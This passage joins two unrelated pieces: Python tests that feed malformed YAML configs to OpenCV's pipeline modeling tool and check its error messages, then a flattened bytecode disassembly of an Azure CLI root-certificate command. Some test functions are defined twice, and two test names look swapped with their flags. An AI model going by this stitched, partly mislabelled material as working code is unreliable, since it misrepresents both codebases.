get_output(exec_str) assert out.startswith("output_layers in Node0 must be a sequence") def test_error_no_edges(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("PL1 must contain field: edges") def test_error_edges_not_sequence(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges:\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edges in PL1 must be a sequence") def test_error_edges_no_from(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: -\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: from") def test_error_edges_no_to(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("edge must contain field: to") def test_error_edges_from_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node1' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node1") def test_error_edges_from_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0:10' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by out port: 10") def test_error_edges_to_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node2'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to find node: Node2") def test_error_edges_to_port_not_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:3'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Node0 by in port: 3") def test_error_connect_to_source(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Src'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed to access node: Src by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_error_double_edge(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0' - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Node: Node0 already connected by in port: 0") def test_node_has_dangling_input(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Node0' to: 'Node1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Node: Node0 in Pipeline: PL1 has dangling input by in port: 0" ) def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' edges: - from: 'Src' to: 'Node:0' - from: 'Node:0' to: 'Node:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:0' - from: 'Node0:0' to: 'Node1:0' - from: 'Node1' to: 'Node0:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_no_load_config_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --load_config=not_existing.yml".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert "Failed to load config: not_existing.yml" in out def test_error_invalid_app_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported PLMode: unknown\n" "Please chose between: streaming and regular" ) def test_error_invalid_pl_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --app_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported AppMode: unknown\n" "Please chose between: realtime and benchmark" ) def test_error_drop_frames_with_streaming(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=streaming --drop_frames".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert out.startswith( '--drop_frames option is supported only for pipelines in "regular" mode' ) def test_incorrect_call_every_nth(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' call_every_nth: {}\" """ error = "Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}" def check(cfg_file, call_every_nth): out = get_output( "{} --cfg={}".format( pipeline_modeling_tool, cfg_file.format(call_every_nth) ) ) assert out.startswith(error.format(call_every_nth)) check(cfg_file, -3) check(cfg_file, 0) def test_error_no_worktime_and_num_iters(): cfg_file = """\"%YAML:1.0 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,1] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed: Pipeline PL1 doesn't have stop criterion!")
data/opencv-contrib-python-4.9.0.80/opencv/modules/gapi/samples/pipeline_modeling_tool/test_pipeline_modeling_tool.py
13,068
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LOAD_CONST 0 LOAD_CONST ('*',) IMPORT_NAME azure.cli.core.aaz IMPORT_STAR LOAD_NAME register_command LOAD_CONST 'network vnet-gateway root-cert create' CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object Create at 0x7faa8c2039c0, file "f.py", line 4> LOAD_CONST 'Create' MAKE_FUNCTION LOAD_CONST 'Create' LOAD_NAME AAZCommand CALL_FUNCTION CALL_FUNCTION STORE_NAME Create LOAD_BUILD_CLASS LOAD_CONST <code object _CreateHelper at 0x7faa8c203810, file "f.py", line 340> LOAD_CONST '_CreateHelper' MAKE_FUNCTION LOAD_CONST '_CreateHelper' CALL_FUNCTION STORE_NAME _CreateHelper LOAD_CONST 'Create' BUILD_LIST STORE_NAME __all__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Create' STORE_NAME __qualname__ LOAD_CONST 'Upload a root certificate.\n\n :example: Add a Root Certificate to the list of certs allowed to connect to this Gateway.\n az network vnet-gateway root-cert create -g MyResourceGroup -n MyRootCertificate --gateway-name MyVnetGateway --public-cert-data MyCertificateData\n ' STORE_NAME __doc__ LOAD_CONST '2022-01-01' LOAD_CONST 'mgmt-plane' LOAD_CONST '/subscriptions/{}/resourcegroups/{}/providers/microsoft.network/virtualnetworkgateways/{}' LOAD_CONST '2022-01-01' LOAD_CONST 'properties.vpnClientConfiguration.vpnClientRootCertificates[]' BUILD_LIST BUILD_LIST LOAD_CONST ('version', 'resources') BUILD_CONST_KEY_MAP STORE_NAME _aaz_info LOAD_CONST True STORE_NAME AZ_SUPPORT_NO_WAIT LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _handler at 0x7faa5dedbed0, file "f.py", line 28> LOAD_CONST 'Create._handler' MAKE_FUNCTION STORE_NAME _handler LOAD_CONST None STORE_NAME _args_schema LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _build_arguments_schema at 0x7fab54036ae0, file "f.py", line 35> LOAD_CONST 'Create._build_arguments_schema' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_arguments_schema LOAD_CONST <code object _execute_operations at 0x7fab540369c0, file "f.py", line 62> LOAD_CONST 'Create._execute_operations' MAKE_FUNCTION STORE_NAME _execute_operations LOAD_NAME register_callback LOAD_CONST <code object pre_operations at 0x7fab54036c90, file "f.py", line 71> LOAD_CONST 'Create.pre_operations' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pre_operations LOAD_NAME register_callback LOAD_CONST <code object post_operations at 0x7fab54036c00, file "f.py", line 75> LOAD_CONST 'Create.post_operations' MAKE_FUNCTION CALL_FUNCTION STORE_NAME post_operations LOAD_NAME register_callback LOAD_CONST <code object pre_instance_create at 0x7fab54036540, file "f.py", line 79> LOAD_CONST 'Create.pre_instance_create' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pre_instance_create LOAD_NAME register_callback LOAD_CONST <code object post_instance_create at 0x7fab54036930, file "f.py", line 83> LOAD_CONST 'Create.post_instance_create' MAKE_FUNCTION CALL_FUNCTION STORE_NAME post_instance_create LOAD_CONST <code object _output at 0x7fab54036db0, file "f.py", line 87> LOAD_CONST 'Create._output' MAKE_FUNCTION STORE_NAME _output LOAD_BUILD_CLASS LOAD_CONST <code object SubresourceSelector at 0x7faa7486adb0, file "f.py", line 93> LOAD_CONST 'SubresourceSelector' MAKE_FUNCTION LOAD_CONST 'SubresourceSelector' LOAD_NAME AAZJsonSelector CALL_FUNCTION STORE_NAME SubresourceSelector LOAD_BUILD_CLASS LOAD_CONST <code object VirtualNetworkGatewaysGet at 0x7fab4130c930, file "f.py", line 111> LOAD_CONST 'VirtualNetworkGatewaysGet' MAKE_FUNCTION LOAD_CONST 'VirtualNetworkGatewaysGet' LOAD_NAME AAZHttpOperation CALL_FUNCTION STORE_NAME VirtualNetworkGatewaysGet LOAD_BUILD_CLASS LOAD_CONST <code object VirtualNetworkGatewaysCreateOrUpdate at 0x7faa8c203db0, file "f.py", line 195> LOAD_CONST 'VirtualNetworkGatewaysCreateOrUpdate' MAKE_FUNCTION LOAD_CONST 'VirtualNetworkGatewaysCreateOrUpdate' LOAD_NAME AAZHttpOperation CALL_FUNCTION STORE_NAME VirtualNetworkGatewaysCreateOrUpdate LOAD_BUILD_CLASS LOAD_CONST <code object InstanceCreateByJson at 0x7faa8c203270, file "f.py", line 312> LOAD_CONST 'InstanceCreateByJson' MAKE_FUNCTION LOAD_CONST 'InstanceCreateByJson' LOAD_NAME AAZJsonInstanceCreateOperation CALL_FUNCTION STORE_NAME InstanceCreateByJson LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD _handler LOAD_FAST command_args CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR SubresourceSelector LOAD_FAST self LOAD_ATTR ctx LOAD_CONST 'subresource' LOAD_CONST ('ctx', 'name') CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD build_lro_poller LOAD_FAST self LOAD_ATTR _execute_operations LOAD_FAST self LOAD_ATTR _output CALL_METHOD RETURN_VALUE LOAD_FAST cls LOAD_ATTR _args_schema LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _args_schema RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR _build_arguments_schema LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION LOAD_FAST cls STORE_ATTR _args_schema LOAD_FAST cls LOAD_ATTR _args_schema STORE_FAST _args_schema LOAD_GLOBAL AAZResourceGroupNameArg LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST _args_schema STORE_ATTR resource_group LOAD_GLOBAL AAZStrArg LOAD_CONST '--gateway-name' BUILD_LIST LOAD_CONST 'Virtual network gateway name.' LOAD_CONST True LOAD_CONST ('options', 'help', 'required') CALL_FUNCTION LOAD_FAST _args_schema STORE_ATTR gateway_name LOAD_GLOBAL AAZStrArg LOAD_CONST '-n' LOAD_CONST '--name' BUILD_LIST LOAD_CONST 'Root certificate name.' LOAD_CONST True LOAD_CONST ('options', 'help', 'required') CALL_FUNCTION LOAD_FAST _args_schema STORE_ATTR name LOAD_GLOBAL AAZStrArg LOAD_CONST '--root-cert-data' BUILD_LIST LOAD_CONST 'Base64 contents of the root certificate file or file path.' LOAD_CONST True LOAD_CONST ('options', 'help', 'required') CALL_FUNCTION LOAD_FAST _args_schema STORE_ATTR root_cert_data LOAD_FAST cls LOAD_ATTR _args_schema RETURN_VALUE LOAD_FAST self LOAD_METHOD pre_operations CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR VirtualNetworkGatewaysGet LOAD_FAST self LOAD_ATTR ctx LOAD_CONST ('ctx',) CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD pre_instance_create CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR InstanceCreateByJson LOAD_FAST self LOAD_ATTR ctx LOAD_CONST ('ctx',) CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD post_instance_create LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR selectors LOAD_ATTR subresource LOAD_METHOD required CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR VirtualNetworkGatewaysCreateOrUpdate LOAD_FAST self LOAD_ATTR ctx LOAD_CONST ('ctx',) CALL_FUNCTION CALL_FUNCTION YIELD_VALUE POP_TOP LOAD_FAST self LOAD_METHOD post_operations CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR deserialize_output LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR selectors LOAD_ATTR subresource LOAD_METHOD required CALL_METHOD LOAD_CONST True LOAD_CONST ('client_flatten',) CALL_FUNCTION STORE_FAST result LOAD_FAST result RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Create.SubresourceSelector' STORE_NAME __qualname__ LOAD_CONST <code object _get at 0x7fab54036810, file "f.py", line 94> LOAD_CONST 'Create.SubresourceSelector._get' MAKE_FUNCTION STORE_NAME _get LOAD_CONST <code object _set at 0x7faa7486a540, file "f.py", line 102> LOAD_CONST 'Create.SubresourceSelector._set' MAKE_FUNCTION STORE_NAME _set LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_ATTR ctx LOAD_ATTR vars LOAD_ATTR instance STORE_FAST result LOAD_FAST result LOAD_ATTR properties LOAD_ATTR vpnClientConfiguration LOAD_ATTR vpnClientRootCertificates STORE_FAST result LOAD_GLOBAL enumerate LOAD_FAST result CALL_FUNCTION STORE_FAST filters LOAD_GLOBAL filter LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab54036150, file "f.py", line 98> LOAD_CONST 'Create.SubresourceSelector._get.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST filters CALL_FUNCTION STORE_FAST filters LOAD_GLOBAL next LOAD_FAST filters CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST idx LOAD_FAST result LOAD_FAST idx BINARY_SUBSCR RETURN_VALUE LOAD_FAST e LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name LOAD_DEREF self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR name COMPARE_OP == RETURN_VALUE LOAD_DEREF self LOAD_ATTR ctx LOAD_ATTR vars LOAD_ATTR instance STORE_FAST result LOAD_FAST result LOAD_ATTR properties LOAD_ATTR vpnClientConfiguration LOAD_ATTR vpnClientRootCertificates STORE_FAST result LOAD_GLOBAL enumerate LOAD_FAST result CALL_FUNCTION STORE_FAST filters LOAD_GLOBAL filter LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab54036e40, file "f.py", line 106> LOAD_CONST 'Create.SubresourceSelector._set.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST filters CALL_FUNCTION STORE_FAST filters LOAD_GLOBAL next LOAD_FAST filters LOAD_GLOBAL len LOAD_FAST result CALL_FUNCTION BUILD_LIST CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST idx LOAD_FAST value LOAD_FAST result LOAD_FAST idx STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_FAST e LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR name LOAD_DEREF self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR name COMPARE_OP == RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Create.VirtualNetworkGatewaysGet' STORE_NAME __qualname__ LOAD_CONST 'MgmtClient' STORE_NAME CLIENT_TYPE LOAD_CONST <code object __call__ at 0x7faa7486a930, file "f.py", line 114> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_NAME property LOAD_CONST <code object url at 0x7faa5e81f5d0, file "f.py", line 122> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.url' MAKE_FUNCTION CALL_FUNCTION STORE_NAME url LOAD_NAME property LOAD_CONST <code object method at 0x7fab4130cc90, file "f.py", line 129> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME method LOAD_NAME property LOAD_CONST <code object error_format at 0x7fab4130c6f0, file "f.py", line 133> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.error_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME error_format LOAD_NAME property LOAD_CONST <code object url_parameters at 0x7fab4130c540, file "f.py", line 137> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.url_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME url_parameters LOAD_NAME property LOAD_CONST <code object query_parameters at 0x7fab4130c0c0, file "f.py", line 158> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.query_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME query_parameters LOAD_NAME property LOAD_CONST <code object header_parameters at 0x7fab4130c660, file "f.py", line 169> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.header_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME header_parameters LOAD_CONST <code object on_200 at 0x7fab4130cf60, file "f.py", line 179> LOAD_CONST 'Create.VirtualNetworkGatewaysGet.on_200' MAKE_FUNCTION STORE_NAME on_200 LOAD_CONST None STORE_NAME _schema_on_200 LOAD_NAME classmethod LOAD_CONST <code object _build_schema_on_200 at 0x7fab4130c9c0, file "f.py", line 185> LOAD_CONST 'Create.VirtualNetworkGatewaysGet._build_schema_on_200' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_on_200 LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD make_request CALL_METHOD STORE_FAST request LOAD_FAST self LOAD_ATTR client LOAD_ATTR send_request BUILD_TUPLE LOAD_FAST request LOAD_CONST False LOAD_CONST ('request', 'stream') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST session LOAD_FAST session LOAD_ATTR http_response LOAD_ATTR status_code LOAD_CONST (200,) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD on_200 LOAD_FAST session CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD on_error LOAD_FAST session LOAD_ATTR http_response CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR client LOAD_ATTR format_url LOAD_CONST ('/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworkGateways/{virtualNetworkGatewayName}',) LOAD_FAST self LOAD_ATTR url_parameters CALL_FUNCTION RETURN_VALUE LOAD_CONST 'GET' RETURN_VALUE LOAD_CONST 'ODataV4Format' RETURN_VALUE LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'resourceGroupName' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR resource_group LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'subscriptionId' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR subscription_id LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR serialize_url_param LOAD_CONST 'virtualNetworkGatewayName' LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR gateway_name LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_ATTR serialize_query_param LOAD_CONST 'api-version' LOAD_CONST '2022-01-01' LOAD_CONST True LOAD_CONST ('required',) CALL_FUNCTION BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_METHOD serialize_header_param LOAD_CONST 'Accept' LOAD_CONST 'application/json' CALL_METHOD BUILD_MAP STORE_FAST parameters LOAD_FAST parameters RETURN_VALUE LOAD_FAST self LOAD_METHOD deserialize_http_content LOAD_FAST session CALL_METHOD STORE_FAST data LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR set_var LOAD_CONST 'instance' LOAD_FAST data LOAD_FAST self LOAD_ATTR _build_schema_on_200 LOAD_CONST ('schema_builder',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_on_200 LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_on_200 RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST cls STORE_ATTR _schema_on_200 LOAD_GLOBAL _CreateHelper LOAD_METHOD _build_schema_virtual_network_gateway_read LOAD_FAST cls LOAD_ATTR _schema_on_200 CALL_METHOD POP_TOP LOAD_FAST cls LOAD_ATTR _schema_on_200 RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate' STORE_NAME __qualname__ LOAD_CONST 'MgmtClient' STORE_NAME CLIENT_TYPE LOAD_CONST <code object __call__ at 0x7fab4130c4b0, file "f.py", line 198> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_NAME property LOAD_CONST <code object url at 0x7fab4130c270, file "f.py", line 222> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.url' MAKE_FUNCTION CALL_FUNCTION STORE_NAME url LOAD_NAME property LOAD_CONST <code object method at 0x7fab4130ce40, file "f.py", line 229> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME method LOAD_NAME property LOAD_CONST <code object error_format at 0x7fab4130c150, file "f.py", line 233> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.error_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME error_format LOAD_NAME property LOAD_CONST <code object url_parameters at 0x7fab4130cdb0, file "f.py", line 237> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.url_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME url_parameters LOAD_NAME property LOAD_CONST <code object query_parameters at 0x7fab4130ced0, file "f.py", line 258> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.query_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME query_parameters LOAD_NAME property LOAD_CONST <code object header_parameters at 0x7fab4130cb70, file "f.py", line 269> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.header_parameters' MAKE_FUNCTION CALL_FUNCTION STORE_NAME header_parameters LOAD_NAME property LOAD_CONST <code object content at 0x7fab4130c810, file "f.py", line 283> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.content' MAKE_FUNCTION CALL_FUNCTION STORE_NAME content LOAD_CONST <code object on_200_201 at 0x7fab4130c780, file "f.py", line 292> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate.on_200_201' MAKE_FUNCTION STORE_NAME on_200_201 LOAD_CONST None STORE_NAME _schema_on_200_201 LOAD_NAME classmethod LOAD_CONST <code object _build_schema_on_200_201 at 0x7fab4130c5d0, file "f.py", line 300> LOAD_CONST 'Create.VirtualNetworkGatewaysCreateOrUpdate._build_schema_on_200_201' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _build_schema_on_200_201 LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD make_request CALL_METHOD STORE_FAST request LOAD_FAST self LOAD_ATTR client LOAD_ATTR send_request BUILD_TUPLE LOAD_FAST request LOAD_CONST False LOAD_CONST ('request', 'stream') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST session LOAD_FAST session LOAD_ATTR http_response LOAD_ATTR status_code LOAD_CONST (202,) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR client LOAD_ATTR build_lro_polling LOAD_FAST self LOAD_ATTR ctx LOAD_ATTR args LOAD_ATTR no_wait LOAD_FAST session LOAD_FAST self LOAD_ATTR on_200_201 LOAD_FAST self LOAD_ATTR on_error LOAD_CONST 'final-state-via' LOAD_CONST 'azure-async-operation' BUILD_MAP LOAD_FAST self LOAD_ATTR url_parameters LOAD_CONST ('lro_options', 'path_format_arguments') 